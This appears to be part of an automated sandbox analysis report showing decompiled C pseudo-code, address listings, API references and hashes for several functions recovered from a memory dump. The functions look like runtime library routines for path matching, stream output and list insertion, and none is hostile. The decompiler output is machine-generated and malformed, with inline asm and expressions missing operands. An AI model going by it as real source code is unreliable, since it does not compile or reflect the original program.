																	_t170 = E004C2860(_t155, _t170);
																	continue;
																}
															}
														}
														break;
													}
													_t194 =  *_t170;
													__eflags = _t194 - 0x3a;
													if(_t194 != 0x3a) {
														L47:
														_t203 = 0;
														__eflags = _t194 - 0x2f;
														if(_t194 == 0x2f) {
															L51:
															_t115 = 1;
															__eflags = 1;
														} else {
															__eflags = _t194 - 0x5c;
															if(_t194 == 0x5c) {
																goto L51;
															} else {
																__eflags = _t194 - 0x3a;
																if(_t194 == 0x3a) {
																	goto L51;
																} else {
																	_t115 = 0;
																}
															}
														}
														asm("sbb eax, eax");
														_v344 =  ~(_t115 & 0x000000ff) & _t170 - _t155 + 0x00000001;
														E0049FB10(_t203,  &_v336, _t203, 0x140);
														_t228 = _t227 + 0xc;
														_t215 =  *0x4f0288(_t155, _t203,  &_v336, _t203, _t203, _t203);
														_t123 = _v340;
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															_t174 =  *((intOrPtr*)(_t123 + 4)) -  *_t123;
															__eflags = _t174;
															_v348 = _t174 >> 2;
															do {
																__eflags = _v292 - 0x2e;
																if(_v292 != 0x2e) {
																	L64:
																	_push(_t123);
																	_push(_v344);
																	_t123 =  &_v292;
																	_push(_t155);
																	_push(_t123);
																	L28();
																	_t228 = _t228 + 0x10;
																	__eflags = _t123;
																	if(_t123 != 0) {
																		goto L54;
																	} else {
																		goto L65;
																	}
																} else {
																	_t178 = _v291;
																	__eflags = _t178;
																	if(_t178 == 0) {
																		goto L65;
																	} else {
																		__eflags = _t178 - 0x2e;
																		if(_t178 != 0x2e) {
																			goto L64;
																		} else {
																			__eflags = _v290;
																			if(_v290 == 0) {
																				goto L65;
																			} else {
																				goto L64;
																			}
																		}
																	}
																}
																goto L58;
																L65:
																_t128 =  *0x4f028c(_t215,  &_v336);
																__eflags = _t128;
																_t123 = _v340;
															} while (_t128 != 0);
															_t195 =  *_t123;
															_t179 = _v348;
															_t131 =  *((intOrPtr*)(_t123 + 4)) -  *_t123 >> 2;
															__eflags = _t179 - _t131;
															if(_t179 != _t131) {
																E004C2480(_t155, _t203, _t215, _t195 + _t179 * 4, _t131 - _t179, 4, E004BB788);
															}
														} else {
															_push(_t123);
															_push(_t203);
															_push(_t203);
															_push(_t155);
															L28();
															L54:
															_t203 = _t123;
														}
														__eflags = _t215 - 0xffffffff;
														if(_t215 != 0xffffffff) {
															 *0x4f0198(_t215);
														}
													} else {
														__eflags = _t170 - _t155 + 1;
														if(_t170 == _t155 + 1) {
															goto L47;
														} else {
															_push(_t214);
															_push(0);
															_push(0);
															_push(_t155);
															L28();
														}
													}
													L58:
													__eflags = _v16 ^ _t222;
													return E0049CE1D(_v16 ^ _t222);
												} else {
													goto L34;
												}
											}
										} else {
											_t139 = 0xc;
											L36:
											return _t139;
										}
									} else {
										goto L22;
									}
									goto L68;
									L22:
									_t196 = _v16;
									 *((intOrPtr*)(_v24 + _t199)) = _t196;
									_t199 = _t199 + 4;
									_t192 = _t196 + _v12;
									_v16 = _t196 + _v12;
									__eflags = _t199 - _t151;
								} while (_t199 != _t151);
								goto L23;
							}
						} else {
							_t200 = _t199 | 0xffffffff;
							L24:
							E004B2FCF(0);
							goto L25;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t160;
							_t147 = E004C2820( *_t208,  &_v8);
							__eflags = _t147;
							if(_t147 != 0) {
								_push( &_v36);
								_push(_t147);
								_push( *_t208);
								L38();
								_t224 = _t224 + 0xc;
							} else {
								_t147 =  &_v36;
								_push(_t147);
								_push(0);
								_push(0);
								_push( *_t208);
								L28();
								_t224 = _t224 + 0x10;
							}
							_t200 = _t147;
							__eflags = _t200;
							if(_t200 != 0) {
								break;
							}
							_t208 = _t208 + 4;
							_t160 = 0;
							__eflags =  *_t208;
							if( *_t208 != 0) {
								continue;
							} else {
								_t151 = _v32;
								_t199 = _v36;
								goto L9;
							}
							goto L68;
						}
						L25:
						E004BBB4A( &_v36);
						_t91 = _t200;
						goto L26;
					}
				} else {
					_t148 = E004A966E();
					_t219 = 0x16;
					 *_t148 = _t219;
					E004A5E77();
					_t91 = _t219;
					L26:
					return _t91;
				}
				L68:
			}

0x004bb7a5
0x004bb7a8
0x004bb7ae
0x004bb7c6
0x004bb7c9
0x004bb7cd
0x004bb7cf
0x004bb7d1
0x004bb7d3
0x004bb7d6
0x004bb7d9
0x004bb7dc
0x004bb7de
0x004bb836
0x004bb836
0x004bb83c
0x004bb83e
0x004bb849
0x004bb84d
0x004bb84f
0x004bb852
0x004bb856
0x004bb856
0x004bb858
0x004bb85a
0x004bb85c
0x004bb85e
0x004bb85e
0x004bb860
0x004bb863
0x004bb866
0x004bb866
0x004bb868
0x004bb869
0x004bb869
0x004bb874
0x004bb876
0x004bb879
0x004bb87a
0x004bb87d
0x004bb87d
0x004bb881
0x004bb884
0x004bb887
0x004bb887
0x004bb895
0x004bb897
0x004bb89a
0x004bb89c
0x004bb8a6
0x004bb8a9
0x004bb8ac
0x004bb8ae
0x004bb8b1
0x004bb8b3
0x004bb903
0x004bb906
0x004bb906
0x004bb908
0x00000000
0x004bb8b5
0x004bb8b7
0x004bb8b7
0x004bb8b9
0x004bb8bc
0x004bb8bc
0x004bb8c1
0x004bb8c4
0x004bb8c4
0x004bb8c6
0x004bb8c7
0x004bb8c7
0x004bb8cb
0x004bb8ce
0x004bb8ce
0x004bb8d1
0x004bb8d4
0x004bb8e1
0x004bb8e6
0x004bb8e9
0x004bb8eb
0x004bb925
0x004bb926
0x004bb927
0x004bb928
0x004bb929
0x004bb92a
0x004bb92f
0x004bb933
0x004bb935
0x004bb936
0x004bb939
0x004bb939
0x004bb93c
0x004bb93c
0x004bb93e
0x004bb93f
0x004bb93f
0x004bb948
0x004bb949
0x004bb94c
0x004bb94f
0x004bb952
0x004bb954
0x004bb95b
0x004bb95d
0x004bb960
0x004bb96a
0x004bb96d
0x004bb96e
0x004bb970
0x004bb984
0x004bb984
0x004bb987
0x004bb991
0x004bb996
0x004bb999
0x004bb99b
0x00000000
0x004bb99d
0x004bb9a1
0x004bb9aa
0x004bb9b0
0x00000000
0x004bb9b3
0x004bb972
0x004bb972
0x004bb978
0x004bb97d
0x004bb980
0x004bb982
0x004bb9b9
0x004bb9bb
0x004bb9bc
0x004bb9bd
0x004bb9be
0x004bb9bf
0x004bb9c0
0x004bb9c5
0x004bb9c8
0x004bb9c9
0x004bb9cb
0x004bb9d1
0x004bb9d8
0x004bb9db
0x004bb9de
0x004bb9df
0x004bb9e2
0x004bb9e3
0x004bb9e6
0x004bb9e7
0x004bba08
0x004bba08
0x004bba0a
0x00000000
0x00000000
0x004bb9ef
0x004bb9f1
0x004bb9f3
0x004bb9f5
0x004bb9f7
0x004bb9f9
0x004bb9fb
0x004bba06
0x00000000
0x004bba06
0x004bb9fb
0x004bb9f7
0x00000000
0x004bb9f3
0x004bba0c
0x004bba0e
0x004bba11
0x004bba2a
0x004bba2a
0x004bba2c
0x004bba2f
0x004bba3f
0x004bba41
0x004bba41
0x004bba31
0x004bba31
0x004bba34
0x00000000
0x004bba36
0x004bba36
0x004bba39
0x00000000
0x004bba3b
0x004bba3b
0x004bba3b
0x004bba39
0x004bba34
0x004bba4f
0x004bba53
0x004bba61
0x004bba66
0x004bba7b
0x004bba7d
0x004bba83
0x004bba86
0x004bbab8
0x004bbab8
0x004bbabd
0x004bbac3
0x004bbac3
0x004bbaca
0x004bbae4
0x004bbae4
0x004bbae5
0x004bbaeb
0x004bbaf1
0x004bbaf2
0x004bbaf3
0x004bbaf8
0x004bbafb
0x004bbafd
0x00000000
0x00000000
0x00000000
0x00000000
0x004bbacc
0x004bbacc
0x004bbad2
0x004bbad4
0x00000000
0x004bbad6
0x004bbad6
0x004bbad9
0x00000000
0x004bbadb
0x004bbadb
0x004bbae2
0x00000000
0x00000000
0x00000000
0x00000000
0x004bbae2
0x004bbad9
0x004bbad4
0x00000000
0x004bbaff
0x004bbb07
0x004bbb0d
0x004bbb0f
0x004bbb0f
0x004bbb17
0x004bbb1c
0x004bbb24
0x004bbb27
0x004bbb29
0x004bbb3d
0x004bbb42
0x004bba88
0x004bba88
0x004bba89
0x004bba8a
0x004bba8b
0x004bba8c
0x004bba94
0x004bba94
0x004bba94
0x004bba96
0x004bba99
0x004bba9c
0x004bba9c
0x004bba13
0x004bba16
0x004bba18
0x00000000
0x004bba1a
0x004bba1a
0x004bba1d
0x004bba1e
0x004bba1f
0x004bba20
0x004bba25
0x004bba18
0x004bbaa4
0x004bbaa9
0x004bbab4
0x00000000
0x00000000
0x00000000
0x004bb982
0x004bb956
0x004bb958
0x004bb9b4
0x004bb9b8
0x004bb9b8
0x00000000
0x00000000
0x00000000
0x00000000
0x004bb8ed
0x004bb8f0
0x004bb8f3
0x004bb8f6
0x004bb8f9
0x004bb8fc
0x004bb8ff
0x004bb8ff
0x00000000
0x004bb8bc
0x004bb89e
0x004bb89e
0x004bb90a
0x004bb90c
0x00000000
0x004bb911
0x004bb7e0
0x004bb7e0
0x004bb7e3
0x004bb7ec
0x004bb7ef
0x004bb7f6
0x004bb7f8
0x004bb811
0x004bb812
0x004bb813
0x004bb815
0x004bb81a
0x004bb7fa
0x004bb7fa
0x004bb7fd
0x004bb7fe
0x004bb800
0x004bb802
0x004bb804
0x004bb809
0x004bb809
0x004bb81d
0x004bb81f
0x004bb821
0x00000000
0x00000000
0x004bb827
0x004bb82a
0x004bb82c
0x004bb82e
0x00000000
0x004bb830
0x004bb830
0x004bb833
0x00000000
0x004bb833
0x00000000
0x004bb82e
0x004bb912
0x004bb915
0x004bb91a
0x00000000
0x004bb91d
0x004bb7b0
0x004bb7b0
0x004bb7b7
0x004bb7b8
0x004bb7ba
0x004bb7bf
0x004bb91e
0x004bb922
0x004bb922
0x00000000

APIs

_strpbrk.LIBCMT ref: 004BB7EF
_free.LIBCMT ref: 004BB90C

Strings

*?, xrefs: 004BB7E3
., xrefs: 004BBAC3

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?$.
API String ID: 3300345361-3972193922
Opcode ID: 3050af342206044afd6695d756835bfaa0fc130bb649a38e3b81b165590ff39c
Instruction ID: 5e8d4437e027354db0a914e45b0249d4f0a5d739f678af44c0f697afcb3efd33
Opcode Fuzzy Hash: 3050af342206044afd6695d756835bfaa0fc130bb649a38e3b81b165590ff39c
Instruction Fuzzy Hash: 9E51B171E002099FDF14DFA9C881AEEB7B9EF58314F24816EE544E7301D7B99A01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00432E45, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00432E45(intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t76;
				intOrPtr _t85;
				signed int _t91;
				intOrPtr* _t99;
				intOrPtr* _t100;
				void* _t103;
				intOrPtr _t105;
				signed int _t106;
				intOrPtr _t107;
				signed int _t110;
				signed int _t116;
				intOrPtr _t118;
				signed int _t120;
				signed int _t122;
				void* _t125;
				void* _t130;
				void* _t131;
				signed int _t133;
				signed int _t137;

				_t131 = __eflags;
				_t118 = __edx;
				_t100 = __ecx;
				_push(0x2c);
				E0049D976(0x4c58e9, __edi, __esi);
				 *((intOrPtr*)(_t130 - 0x28)) = _t118;
				_t99 = _t100;
				 *((intOrPtr*)(_t130 - 0x24)) = _t99;
				 *(_t130 - 0x14) = 0;
				 *(_t130 - 0x20) = 0;
				_push(_t99);
				E0042ED41(_t130 - 0x38, __edi, 0, _t131);
				 *(_t130 - 4) = 0;
				if( *((char*)(_t130 - 0x34)) == 0) {
					_t125 = 4;
				} else {
					_t85 =  *((intOrPtr*)( *_t99 + 4));
					_t105 =  *((intOrPtr*)(_t85 + _t99 + 0x20));
					_t120 =  *(_t85 + _t99 + 0x24);
					_t133 = _t120;
					if(_t133 > 0 || _t133 >= 0 && _t105 > 1) {
						_t106 = _t105 - 1;
						asm("sbb edx, esi");
					} else {
						asm("xorps xmm0, xmm0");
						asm("movlpd [ebp-0x30], xmm0");
						_t120 =  *(_t130 - 0x2c);
						_t106 =  *(_t130 - 0x30);
					}
					 *(_t130 - 0x1c) = _t120;
					 *(_t130 - 0x18) = _t106;
					 *(_t130 - 4) = 1;
					_t125 = 4;
					if(( *( *((intOrPtr*)( *_t99 + 4)) + _t99 + 0x14) & 0x000001c0) == 0x40) {
						L12:
						_t107 =  *_t99;
						_t36 = _t130 - 0x28; // 0x484b53
						_t37 = _t107 + 4; // 0xe89088b
						__eflags = E0042FC42( *((intOrPtr*)( *_t37 + _t99 + 0x38)),  *_t36) - 0xffffffff;
						_t122 =  ==  ? _t125 :  *(_t130 - 0x14);
						 *(_t130 - 0x20) = _t122;
						_t91 =  *(_t130 - 0x18);
						_t110 =  *(_t130 - 0x1c);
						while(1) {
							 *(_t130 - 0x14) = _t122;
							__eflags = _t122;
							if(_t122 != 0) {
								goto L18;
							}
							__eflags = _t110;
							if(__eflags >= 0) {
								if(__eflags > 0) {
									L17:
									__eflags = E0042FC42( *((intOrPtr*)( *((intOrPtr*)( *_t99 + 4)) + _t99 + 0x38)),  *( *((intOrPtr*)( *_t99 + 4)) + _t99 + 0x40) & 0x000000ff) - 0xffffffff;
									_t122 =  ==  ? _t125 :  *(_t130 - 0x14);
									 *(_t130 - 0x20) = _t122;
									_t91 =  *(_t130 - 0x18) + 0xffffffff;
									 *(_t130 - 0x18) = _t91;
									 *(_t130 - 0x30) = _t91;
									_t110 =  *(_t130 - 0x1c);
									asm("adc ecx, 0xffffffff");
									 *(_t130 - 0x1c) = _t110;
									 *(_t130 - 0x2c) = _t110;
									continue;
								} else {
									__eflags = _t91;
									if(_t91 > 0) {
										goto L17;
									}
								}
							}
							goto L18;
						}
					} else {
						while( *(_t130 - 0x14) == 0) {
							_t137 = _t120;
							if(_t137 < 0 || _t137 <= 0 && _t106 <= 0) {
								goto L12;
							} else {
								E0042FC42( *((intOrPtr*)( *((intOrPtr*)( *_t99 + 4)) + _t99 + 0x38)),  *( *((intOrPtr*)( *_t99 + 4)) + _t99 + 0x40) & 0x000000ff);
								_t116 =  ==  ? _t125 :  *(_t130 - 0x14);
								 *(_t130 - 0x14) = _t116;
								 *(_t130 - 0x20) = _t116;
								_t106 =  *(_t130 - 0x18) + 0xffffffff;
								 *(_t130 - 0x18) = _t106;
								 *(_t130 - 0x30) = _t106;
								_t120 =  *(_t130 - 0x1c);
								asm("adc edx, 0xffffffff");
								 *(_t130 - 0x1c) = _t120;
								 *(_t130 - 0x2c) = _t120;
								continue;
							}
							goto L18;
						}
					}
					L18:
					 *(_t130 - 4) = 0;
				}
				_t76 =  *((intOrPtr*)( *_t99 + 4));
				 *((intOrPtr*)(_t76 + _t99 + 0x20)) = 0;
				 *((intOrPtr*)(_t76 + _t99 + 0x24)) = 0;
				_t103 =  *((intOrPtr*)( *_t99 + 4)) + _t99;
				_t66 = _t130 - 0x14; // 0x482130
				__eflags =  *(_t103 + 0x38);
				_t126 =  !=  ? 0 : _t125;
				_t127 = ( !=  ? 0 : _t125) |  *(_t103 + 0xc) |  *_t66;
				E0042B73A(_t103, 0, ( !=  ? 0 : _t125) |  *(_t103 + 0xc) |  *_t66, 0, ( !=  ? 0 : _t125) |  *(_t103 + 0xc) |  *_t66, 0);
				_t68 = _t130 - 4;
				 *_t68 =  *(_t130 - 4) | 0xffffffff;
				__eflags =  *_t68;
				E0042ECDE( *_t68);
				return E0049D8D4(_t99);
			}

0x00432e45
0x00432e45
0x00432e45
0x00432e45
0x00432e4c
0x00432e51
0x00432e54
0x00432e56
0x00432e5d
0x00432e60
0x00432e63
0x00432e67
0x00432e6c
0x00432e73
0x00432fc6
0x00432e79
0x00432e7b
0x00432e7e
0x00432e82
0x00432e86
0x00432e88
0x00432ea1
0x00432ea4
0x00432e91
0x00432e91
0x00432e94
0x00432e99
0x00432e9c
0x00432e9c
0x00432ea6
0x00432ea9
0x00432eac
0x00432ec0
0x00432ec4
0x00432f17
0x00432f17
0x00432f19
0x00432f1c
0x00432f2b
0x00432f2e
0x00432f31
0x00432f34
0x00432f37
0x00432f3a
0x00432f3a
0x00432f3d
0x00432f3f
0x00000000
0x00000000
0x00432f41
0x00432f43
0x00432f45
0x00432f4b
0x00432f62
0x00432f65
0x00432f68
0x00432f6e
0x00432f71
0x00432f74
0x00432f77
0x00432f7a
0x00432f7d
0x00432f80
0x00000000
0x00432f47
0x00432f47
0x00432f49
0x00000000
0x00000000
0x00432f49
0x00432f45
0x00000000
0x00432f43
0x00000000
0x00432ec6
0x00432ed0
0x00432ed2
0x00000000
0x00432eda
0x00432ee9
0x00432ef4
0x00432ef7
0x00432efa
0x00432f00
0x00432f03
0x00432f06
0x00432f09
0x00432f0c
0x00432f0f
0x00432f12
0x00000000
0x00432f12
0x00000000
0x00432ed2
0x00432ec6
0x00432f85
0x00432f85
0x00432f85
0x00432fc9
0x00432fcc
0x00432fd0
0x00432fd9
0x00432fde
0x00432fe4
0x00432fe7
0x00432fea
0x00432fed
0x00432ff2
0x00432ff2
0x00432ff2
0x00432ff9
0x00433005

APIs

__EH_prolog3_catch.LIBCMT ref: 00432E4C

Part of subcall function 0042ED41: __EH_prolog3.LIBCMT ref: 0042ED48

Strings

0!H, xrefs: 00432EEE
0!H, xrefs: 00432FDE
SKH, xrefs: 00432F19

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3H_prolog3_catch
String ID: 0!H$0!H$SKH
API String ID: 1882928916-3711223816
Opcode ID: f25c091d98c892c48e1c32be6fb42d2abd1719b2333e4155d92ea80342963fb7
Instruction ID: f8b76cef0ddf7a8d9179eb3a67740a7a310654312a4c76237cbc02e9adc99377
Opcode Fuzzy Hash: f25c091d98c892c48e1c32be6fb42d2abd1719b2333e4155d92ea80342963fb7
Instruction Fuzzy Hash: CC514C70E005198FCB18CF99C5919ADBBF2BF8C314F24826EE525AB396C7749D42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00482C63, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00482C63(signed int __ecx, unsigned int __edi, void* __esi, void* __eflags) {
				signed int _t117;
				signed int _t123;
				void* _t135;
				signed int _t151;
				intOrPtr* _t152;
				void* _t165;
				signed int _t166;
				signed int _t188;
				signed int* _t189;
				void* _t192;
				signed int _t193;
				signed int _t194;
				signed int* _t195;
				signed int _t201;
				void* _t204;
				signed int _t217;
				unsigned int _t220;
				void _t223;
				signed int _t224;
				void* _t226;
				signed int _t230;
				void* _t239;
				signed int _t243;
				signed int _t249;
				signed int _t250;
				signed int _t252;
				signed int _t256;
				signed int* _t258;
				signed int _t259;
				void* _t263;
				signed int _t265;
				void* _t266;

				_t257 = __esi;
				_t248 = __edi;
				_t194 = __ecx;
				_push(0x14);
				E0049D93F(0x4d5a8b, __edi, __esi);
				_t117 = _t194;
				 *(_t266 - 0x18) = _t117;
				_t195 =  *(_t266 + 8);
				 *(_t266 - 0x14) = _t195;
				if( *((intOrPtr*)(_t117 + 4)) == 0x7432d6) {
					E00488FED("list too long");
					asm("int3");
					_push(0x14);
					E0049D976(0x4d5ab0, _t248, _t257);
					_t258 = _t195;
					_t188 =  *(_t266 + 8) -  *_t258 >> 2;
					_t123 = _t258[1] -  *_t258 >> 2;
					__eflags = _t123 - 0x3fffffff;
					if(_t123 == 0x3fffffff) {
						E0042E45E(_t195, _t266);
						goto L13;
					} else {
						_t31 = _t123 + 1; // 0x7432d7
						_t243 = _t31;
						 *(_t266 - 0x18) = _t243;
						_t220 = _t258[2] -  *_t258 >> 2;
						_t248 = _t220 >> 1;
						__eflags = _t220 - 0x3fffffff - _t248;
						if(_t220 <= 0x3fffffff - _t248) {
							_t165 = _t248 + _t220;
							__eflags = _t165 - _t243;
							_t166 =  <  ? _t243 : _t165;
							 *(_t266 - 0x14) = _t166;
						} else {
							_t166 = _t243;
							 *(_t266 - 0x14) = _t243;
						}
						__eflags = _t166 - 0x3fffffff;
						if(__eflags > 0) {
							L13:
							E0042A9FC(__eflags);
							asm("int3");
							_push(0x10);
							E0049D93F(0x4c4f82, _t248, _t258);
							_t189 =  *(_t266 + 8);
							E00488DEA(_t266 - 0x18, 0);
							 *(_t266 - 4) =  *(_t266 - 4) & 0x00000000;
							_t249 =  *0x4ef4cc;
							 *(_t266 - 0x1c) = _t249;
							_t259 = E0042B315(_t189, E0042B22E(0x4ed914, _t249, _t258, __eflags));
							__eflags = _t259;
							if(_t259 != 0) {
								L20:
								_t75 = _t266 - 4;
								 *_t75 =  *(_t266 - 4) | 0xffffffff;
								__eflags =  *_t75;
								E00488E42(_t266 - 0x18);
								return E0049D8E9(_t259, _t249, _t259);
							} else {
								__eflags = _t249;
								if(__eflags == 0) {
									_push(_t189);
									_push(_t266 - 0x1c);
									_t135 = E0043CF65(_t249, _t259, __eflags);
									_pop(_t201);
									__eflags = _t135 - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										E0049D9AD(0x4d5adb, _t249, _t259);
										_t250 = _t201;
										 *(_t266 - 0x1c) = _t250;
										 *(_t266 - 0x30) =  *(_t266 + 8);
										 *(_t266 - 0x18) = 0;
										_push(0);
										_push(_t250);
										E00431B36(_t266 - 0x38, _t259, __eflags);
										 *(_t266 - 4) = 0;
										__eflags =  *(_t266 - 0x34);
										if( *(_t266 - 0x34) != 0) {
											 *(_t266 - 4) = 1;
											 *(_t266 - 4) = 2;
											_t263 =  *((intOrPtr*)( *_t250 + 4)) + _t250;
											 *((intOrPtr*)(_t266 - 0x24)) = 0;
											 *(_t266 - 0x20) = 1;
											 *((char*)(_t266 - 0x1f)) = 0;
											_t151 =  *(_t263 + 0x38);
											 *(_t266 - 0x2c) = _t151;
											__eflags = _t151;
											 *((char*)(_t266 - 0x28)) = __eflags == 0;
											 *((char*)(_t266 - 0x27)) = 0;
											_t152 = E00433006(_t250, _t263, __eflags);
											 *((intOrPtr*)( *_t152 + 0x2c))(_t266 - 0x48,  *(_t266 - 0x2c),  *((intOrPtr*)(_t266 - 0x28)),  *((intOrPtr*)(_t266 - 0x24)),  *(_t266 - 0x20), _t263, _t266 - 0x18,  *(_t266 - 0x30), E0042B7A4( *((intOrPtr*)( *_t250 + 4)) + _t250), _t266 - 0x40);
											 *(_t266 - 4) = 1;
											E0042B2E4(_t266 - 0x40);
											 *(_t266 - 4) = 0;
										}
										_t204 =  *((intOrPtr*)( *_t250 + 4)) + _t250;
										_push(0);
										_t239 = 4;
										__eflags =  *(_t204 + 0x38);
										_t240 =  !=  ? 0 : _t239;
										_t241 = ( !=  ? 0 : _t239) |  *(_t204 + 0xc) |  *(_t266 - 0x18);
										_push(( !=  ? 0 : _t239) |  *(_t204 + 0xc) |  *(_t266 - 0x18));
										E0042B73A(_t204, ( !=  ? 0 : _t239) |  *(_t204 + 0xc) |  *(_t266 - 0x18), _t250,  *(_t204 + 0xc) |  *(_t266 - 0x18));
										_t112 = _t266 - 4;
										 *_t112 =  *(_t266 - 4) | 0xffffffff;
										__eflags =  *_t112;
										E0043119F();
										return E0049D8FA(_t250, _t250,  *(_t204 + 0xc) |  *(_t266 - 0x18));
									} else {
										_t259 =  *(_t266 - 0x1c);
										 *(_t266 - 0x14) = 0;
										 *(_t266 - 0x14) = _t259;
										 *(_t266 - 4) = 1;
										E0048919D(_t259);
										 *((intOrPtr*)( *_t259 + 4))();
										 *0x4ef4cc = _t259;
										 *(_t266 - 0x1c) = 0;
										E0042FDE0(_t266 - 0x14, _t266 - 0x1c);
										 *(_t266 - 4) = 0;
										_t217 =  *(_t266 - 0x14);
										__eflags = _t217;
										if(_t217 != 0) {
											 *((intOrPtr*)( *_t217))(1);
										}
										goto L20;
									}
								} else {
									_t259 = _t249;
									goto L20;
								}
							}
						} else {
							 *(_t266 - 0x1c) = _t166 << 2;
							_t252 = E0042DA11(_t166 << 2);
							 *(_t266 - 0x20) = _t252;
							 *(_t266 - 4) =  *(_t266 - 4) & 0x00000000;
							_t192 = _t252 + _t188 * 4;
							_t223 =  *( *(_t266 + 0xc));
							 *_t192 = _t223;
							_t244 = _t258[1];
							_push(_t223);
							_push(_t252);
							_t224 =  *_t258;
							__eflags =  *(_t266 + 8) - _t258[1];
							if(__eflags != 0) {
								E0042FDEF(_t224,  *(_t266 + 8), __eflags);
								_push(_t192 + 4);
								_t244 = _t258[1];
								_t224 =  *(_t266 + 8);
							}
							E0042FDEF(_t224, _t244, __eflags);
							_pop(_t226);
							 *(_t266 - 4) =  *(_t266 - 4) | 0xffffffff;
							__eflags =  *_t258;
							if( *_t258 != 0) {
								__eflags = _t258[2] -  *_t258 & 0xfffffffc;
								E0042DA33(_t226,  *_t258, _t258[2] -  *_t258 & 0xfffffffc);
							}
							 *_t258 = _t252;
							_t258[1] = _t252 +  *(_t266 - 0x18) * 4;
							_t230 =  *(_t266 - 0x1c) + _t252;
							__eflags = _t230;
							_t258[2] = _t230;
							return E0049D8D4(_t192);
						}
					}
				} else {
					 *(_t266 - 0x20) = _t117;
					 *(_t266 - 0x1c) = 0;
					 *(_t266 - 4) = 0;
					 *(_t266 - 0x1c) = 0;
					_t193 = E0042DA11(0x234);
					 *(_t266 - 0x1c) = _t193;
					_t11 = _t193 + 8; // 0x8
					memcpy(_t11,  *(_t266 + 0xc), 0x8b << 2);
					 *(_t266 - 4) = 1;
					_t256 =  *(_t266 - 0x14);
					 *(_t266 - 0x14) = _t256;
					 *((intOrPtr*)( *(_t266 - 0x18) + 4)) =  *((intOrPtr*)( *(_t266 - 0x18) + 4)) + 1;
					_t265 =  *(_t256 + 4);
					 *(_t266 - 0x18) = _t265;
					E0048354C(_t193, _t266 - 0x14);
					E0048354C(_t193 + 4, _t266 - 0x18);
					 *(_t266 - 0x1c) =  *(_t266 - 0x1c) & 0x00000000;
					 *(_t256 + 4) = _t193;
					 *_t265 = _t193;
					 *(_t266 - 4) =  *(_t266 - 4) | 0xffffffff;
					return E0049D8E9(_t193, _t256, _t265);
				}
			}

0x00482c63
0x00482c63
0x00482c63
0x00482c63
0x00482c6a
0x00482c6f
0x00482c71
0x00482c7b
0x00482c7e
0x00482c81
0x00482cf8
0x00482cfd
0x00482cfe
0x00482d05
0x00482d0a
0x00482d11
0x00482d19
0x00482d1c
0x00482d21
0x00482df3
0x00000000
0x00482d27
0x00482d27
0x00482d27
0x00482d2a
0x00482d32
0x00482d37
0x00482d40
0x00482d42
0x00482d4b
0x00482d4e
0x00482d50
0x00482d53
0x00482d44
0x00482d44
0x00482d46
0x00482d46
0x00482d56
0x00482d5b
0x00482df8
0x00482df8
0x00482dfd
0x00482dfe
0x00482e05
0x00482e0a
0x00482e12
0x00482e17
0x00482e20
0x00482e26
0x00482e36
0x00482e38
0x00482e3a
0x00482e9a
0x00482e9a
0x00482e9a
0x00482e9a
0x00482ea1
0x00482ead
0x00482e3c
0x00482e3c
0x00482e3e
0x00482e47
0x00482e48
0x00482e49
0x00482e4f
0x00482e50
0x00482e53
0x00482eae
0x00482eb3
0x00482ebb
0x00482ec0
0x00482ec2
0x00482ec8
0x00482ecd
0x00482ed0
0x00482ed1
0x00482ed5
0x00482eda
0x00482edd
0x00482ee0
0x00482ee6
0x00482efb
0x00482f04
0x00482f06
0x00482f09
0x00482f0d
0x00482f10
0x00482f13
0x00482f16
0x00482f18
0x00482f1c
0x00482f1f
0x00482f41
0x00482f44
0x00482f4b
0x00482f50
0x00482f50
0x00482f8e
0x00482f96
0x00482f99
0x00482f9c
0x00482f9f
0x00482fa2
0x00482fa4
0x00482fa5
0x00482faa
0x00482faa
0x00482faa
0x00482fb1
0x00482fbd
0x00482e55
0x00482e55
0x00482e5a
0x00482e5d
0x00482e60
0x00482e65
0x00482e6f
0x00482e75
0x00482e7f
0x00482e83
0x00482e8a
0x00482e8d
0x00482e90
0x00482e92
0x00482e98
0x00482e98
0x00000000
0x00482e92
0x00482e40
0x00482e40
0x00000000
0x00482e40
0x00482e3e
0x00482d61
0x00482d64
0x00482d6e
0x00482d70
0x00482d73
0x00482d77
0x00482d7d
0x00482d7f
0x00482d81
0x00482d84
0x00482d85
0x00482d86
0x00482d88
0x00482d8b
0x00482d90
0x00482d99
0x00482d9a
0x00482d9d
0x00482d9d
0x00482da0
0x00482da6
0x00482da7
0x00482dab
0x00482dae
0x00482db5
0x00482dbb
0x00482dc1
0x00482dc2
0x00482dca
0x00482dd0
0x00482dd0
0x00482dd2
0x00482ddc
0x00482ddc
0x00482d5b
0x00482c83
0x00482c83
0x00482c88
0x00482c8b
0x00482c93
0x00482c9e
0x00482ca6
0x00482ca9
0x00482cac
0x00482cae
0x00482cbd
0x00482cc0
0x00482cc3
0x00482cc6
0x00482cc9
0x00482ccc
0x00482cd7
0x00482cdc
0x00482ce0
0x00482ce3
0x00482ce5
0x00482cf0
0x00482cf0

APIs

__EH_prolog3_GS.LIBCMT ref: 00482C6A
__EH_prolog3_catch.LIBCMT ref: 00482D05

Strings

list too long, xrefs: 00482CF3

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_H_prolog3_catch
String ID: list too long
API String ID: 3862090230-1124181908
Opcode ID: a1b26b9a1bcf435cb89aee23f6bd5e24373c5783d78d129305a5f5c76f168f15
Instruction ID: d3cde06d7607b50ce4075269f84c04aa18e56dd168709e95f49110e55eb88a14
